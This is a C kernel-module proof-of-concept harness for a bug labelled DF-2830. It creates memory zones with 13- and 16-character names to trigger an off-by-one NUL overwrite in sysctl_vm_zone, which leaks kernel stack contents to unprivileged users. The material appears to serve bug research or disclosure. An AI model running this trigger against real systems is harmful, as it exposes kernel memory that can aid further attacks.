DF-2830 / df2830_harness.c
/* * DF-2830 PoC harness: off-by-one NUL-terminator clobber in * sysctl_vm_zone() (sys/vm/vm_zone.c:834-841) -> stack OOB read. * * zname length >= 13 makes tmpname[len]=':' overwrite tmpname[13], the only * NUL of the 14-byte stack buffer; the subsequent ksnprintf("%s ...") then * reads past the end of tmpname until it finds a zero byte, copying stack * residue into the sysctl output that any unprivileged user can read. * * In-tree trigger: netbt's "rfcomm_credit" zone (exactly 13 chars), on * kernels built with `device bluetooth`. Here we create zones with 13- and * 16-char names to exercise the same path on the stock guest kernel. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <vm/vm_zone.h> MALLOC_DEFINE(M_DF2830, "df2830", "DF-2830 zones"); static vm_zone_t zA, zB; static int df2830_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: zA = zinit("AAAAAAAAAAAAA", 64, 1, ZONE_DESTROYABLE); /* 13 */ zB = zinit("BBBBBBBBBBBBBBBB", 64, 1, ZONE_DESTROYABLE); /* 16 */ kprintf("df2830: zones %p %p created; names len 13/16 " "(>= 13 triggers tmpname NUL clobber in sysctl_vm_zone)\n", zA, zB); if (zA == NULL || zB == NULL) return (ENOMEM); break; case MOD_UNLOAD: if (zA) zdestroy(zA); if (zB) zdestroy(zB); zA = zB = NULL; break; default: break; } return (0); } static moduledata_t df2830_mod = { "df2830", df2830_modevent, NULL }; DECLARE_MODULE(df2830, df2830_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |